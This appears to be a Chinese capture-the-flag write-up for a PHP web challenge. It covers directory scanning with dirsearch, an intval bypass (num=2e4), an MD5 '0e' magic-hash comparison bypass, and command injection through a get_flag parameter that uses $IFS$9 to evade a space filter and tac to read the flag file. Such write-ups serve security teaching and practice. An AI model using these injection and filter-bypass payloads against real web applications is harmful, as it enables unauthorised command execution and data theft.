打开题目

扫目录用dirsearch扫,为节省建议只扫常见的目录,配置是:

./dirsearch.py -e bak,zip,txt,tgz,php -u http:.....  -s 3 -t 20

访问一下

根据提示,再访问一次

提示不在这,抓包看看

根据提示,改get传参

找到源码,代码审计看看

GET方式传入三个参数

1.num:intval(num<2020)&&intval(num+1)>2021

intval函数获取字符(串)的数字,而如果参数是一个算术表达式,会先将所有的参数都化为数字,再进行数值计算

payload

1.num=2e4

2.md5=0e215962017

3.get_flag=ls试一下

关于tac

cat 和 tac 都是Linux打印文件的命令,但是cat是从第一行至最后一行顺序打印,而tac是最后一行至第一行反向打印。

本地测试

首先再一个文件夹中创建两个文件,flag和a.php

<?php
//a.php
 
    system("ls");
    echo "<br>";
    system("cat flag");
    echo "<br>"; 
    system("tac flag");
?>

payload3:get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到

flag{49729cf1-bd33-4d0f-9434-4f5a5d2f68bc}

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部